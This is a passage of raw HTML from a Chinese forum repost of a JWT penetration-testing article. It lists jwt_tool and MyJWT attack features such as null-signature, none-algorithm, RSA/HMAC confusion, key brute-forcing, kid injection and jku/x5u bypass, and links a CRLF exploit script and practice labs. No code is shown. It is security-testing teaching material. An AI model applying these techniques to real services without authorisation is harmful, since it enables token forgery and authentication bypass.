CVE-2020-28042</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">:</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Null signature</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">漏洞</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"><br />
3</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">、扫描配置错误或已知漏洞</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"><br />
4</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">、</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Fuzz</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">声明值以引发意外行为</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"><br />
5</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">、测试</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">secret/key file/public key/ JWKS key</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">的有效性</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"><br />
6</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">、通过高速字典攻击识别低强度</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">key<br />
7</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">、时间戳篡改</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"><br />
8</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">、</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">RSA</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">和</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">ECDSA</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">密钥生成和重建</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">(</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">来自</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWKS</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">文件</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">)<br />
9</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">、伪造新的令牌头和有效载荷内容,并使用密钥或通过其他攻击方法创建新的签名</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:12.0pt;margin-left:0cm;margin-right:0cm;margin-top:12.0pt;text-align:justify;text-justify:inter-ideograph;">
        <b><span style="color:#777777;font-family:宋体;font-size:12.0pt;letter-spacing:.55pt;">使用说明</span></b><b><span lang="EN-US" style="color:#777777;font-family:Segoe UI,sans-serif;font-size:12.0pt;letter-spacing:.55pt;"></span></b>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">https://github.com/ticarpi/jwt_tool/wiki/Using-jwt_tool</span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:12.0pt;margin-left:0cm;margin-right:0cm;margin-top:12.0pt;text-align:justify;text-justify:inter-ideograph;">
        <b><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:13.5pt;letter-spacing:.55pt;">MyJWT</span></b>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:12.0pt;margin-left:0cm;margin-right:0cm;margin-top:12.0pt;text-align:justify;text-justify:inter-ideograph;">
        <b><span style="color:#333333;font-family:宋体;font-size:12.0pt;letter-spacing:.55pt;">项目地址</span></b><b><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:12.0pt;letter-spacing:.55pt;"></span></b>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">https://github.com/tyki6/MyJWT/</span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;">&nbsp;</span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:12.0pt;margin-left:0cm;margin-right:0cm;margin-top:12.0pt;text-align:justify;text-justify:inter-ideograph;">
        <b><span style="color:#333333;font-family:宋体;font-size:12.0pt;letter-spacing:.55pt;">功能说明</span></b><b><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:12.0pt;letter-spacing:.55pt;"></span></b>
</p>
<ul style="margin-top:0cm;" type="disc">
        <li style="background:white;color:#333333;font-family:等线;font-size:10.5pt;line-height:19.5pt;margin:0cm;tab-stops:list 36.0pt;text-align:justify;text-justify:inter-ideograph;">
                <span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">copy new jwt to clipboard</span>
        </li>
        <li style="background:white;color:#333333;font-family:等线;font-size:10.5pt;line-height:19.5pt;margin:0cm;tab-stops:list 36.0pt;text-align:justify;text-justify:inter-ideograph;">
                <span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">user Interface (thanks questionary)</span>
        </li>
        <li style="background:white;color:#333333;font-family:等线;font-size:10.5pt;line-height:19.5pt;margin:0cm;tab-stops:list 36.0pt;text-align:justify;text-justify:inter-ideograph;">
                <span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">color output</span>
        </li>
        <li style="background:white;color:#333333;font-family:等线;font-size:10.5pt;line-height:19.5pt;margin:0cm;tab-stops:list 36.0pt;text-align:justify;text-justify:inter-ideograph;">
                <span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">modify jwt (header/Payload)</span>
        </li>
        <li style="background:white;color:#333333;font-family:等线;font-size:10.5pt;line-height:19.5pt;margin:0cm;tab-stops:list 36.0pt;text-align:justify;text-justify:inter-ideograph;">
                <span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">None Vulnerability</span>
        </li>
        <li style="background:white;color:#333333;font-family:等线;font-size:10.5pt;line-height:19.5pt;margin:0cm;tab-stops:list 36.0pt;text-align:justify;text-justify:inter-ideograph;">
                <span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">RSA/HMAC confusion</span>
        </li>
        <li style="background:white;color:#333333;font-family:等线;font-size:10.5pt;line-height:19.5pt;margin:0cm;tab-stops:list 36.0pt;text-align:justify;text-justify:inter-ideograph;">
                <span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Sign a jwt with key</span>
        </li>
        <li style="background:white;color:#333333;font-family:等线;font-size:10.5pt;line-height:19.5pt;margin:0cm;tab-stops:list 36.0pt;text-align:justify;text-justify:inter-ideograph;">
                <span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Brute Force to guess key</span>
        </li>
        <li style="background:white;color:#333333;font-family:等线;font-size:10.5pt;line-height:19.5pt;margin:0cm;tab-stops:list 36.0pt;text-align:justify;text-justify:inter-ideograph;">
                <span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">crack jwt with regex to guess key</span>
        </li>
        <li style="background:white;color:#333333;font-family:等线;font-size:10.5pt;line-height:19.5pt;margin:0cm;tab-stops:list 36.0pt;text-align:justify;text-justify:inter-ideograph;">
                <span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">kid injection</span>
        </li>
        <li style="background:white;color:#333333;font-family:等线;font-size:10.5pt;line-height:19.5pt;margin:0cm;tab-stops:list 36.0pt;text-align:justify;text-justify:inter-ideograph;">
                <span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Jku Bypass</span>
        </li>
        <li style="background:white;color:#333333;font-family:等线;font-size:10.5pt;line-height:19.5pt;margin:0cm;tab-stops:list 36.0pt;text-align:justify;text-justify:inter-ideograph;">
                <span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">X5u Bypass</span>
        </li>
</ul>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:12.0pt;margin-left:0cm;margin-right:0cm;margin-top:12.0pt;text-align:justify;text-justify:inter-ideograph;">
        <b><span style="color:#333333;font-family:宋体;font-size:13.5pt;letter-spacing:.55pt;">辅助脚本</span></b><b><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:13.5pt;letter-spacing:.55pt;"></span></b>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:12.0pt;margin-left:0cm;margin-right:0cm;margin-top:12.0pt;text-align:justify;text-justify:inter-ideograph;">
        <b><span style="color:#333333;font-family:宋体;font-size:12.0pt;letter-spacing:.55pt;">脚本地址</span></b><b><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:12.0pt;letter-spacing:.55pt;"></span></b>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">https://gist.github.com/imparabl3/efcf4a991244b9f8f99ac39a7c8cfe6f</span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:12.0pt;margin-left:0cm;margin-right:0cm;margin-top:12.0pt;text-align:justify;text-justify:inter-ideograph;">
        <b><span style="color:#333333;font-family:宋体;font-size:12.0pt;letter-spacing:.55pt;">脚本功能</span></b><b><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:12.0pt;letter-spacing:.55pt;"></span></b>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">用于利用</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">CRLF</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">漏洞的脚本</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:12.0pt;margin-left:0cm;margin-right:0cm;margin-top:12.0pt;text-align:justify;text-justify:inter-ideograph;">
        <b><span style="color:#333333;font-family:宋体;font-size:15.0pt;letter-spacing:.55pt;">参考链接</span></b><b><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:15.0pt;letter-spacing:.55pt;"></span></b>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">https://1024tools.com/hmac<br />
https://github.com/ticarpi/jwt_tool<br />
https://www.anquanke.com/post/id/236830<br />
https://www.freebuf.com/articles/web/337347.html<br />
https://digi.ninja/projects/authlab.php#landleakyjwt<br />
https://attackdefense.com/challengedetails?cid=1424<br />
https://github.com/wallarm/jwt-secrets/blob/master/jwt.secrets.list<br />
https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-unverified-signature</span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">&nbsp;</span>
</p>
<ul style="margin-top:0cm;" type="disc">
        <li style="font-family:等线;font-size:10.5pt;margin:0cm;tab-stops:list 36.0pt;text-align:right;text-justify:inter-ideograph;">
                <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;">&nbsp;</span>
        </li>
</ul>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:justify;text-justify:inter-ideograph;">
        <span style="font-family:宋体;">原文地址:</span><span lang="EN-US" style="color:#DD1144;font-family:Consolas;">https:</span><span lang="EN-US" style="font-family:Consolas;">/<span style="color:#CA7D37;">/xz.aliyun.com/t/12906</span></span><span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p align="left" style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:left;text-justify:inter-ideograph;">
        <b><span style="border:none windowtext 1.0pt;color:#222222;font-family:微软雅黑,sans-serif;font-size:11.5pt;padding:0cm;">声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。</span></b><b><span style="color:black;font-family:宋体;letter-spacing:.4pt;">所有渗透都需获取授权</span></b><span style="background:#FFFDF9;color:black;font-family:宋体;letter-spacing:.4pt;">!</span><span lang="EN-US" style="color:#222222;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;letter-spacing:.45pt;">&nbsp;</span>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US">&nbsp;</span>
</p>
页: [1]
查看完整版本: 干货 | JWT渗透姿势一篇通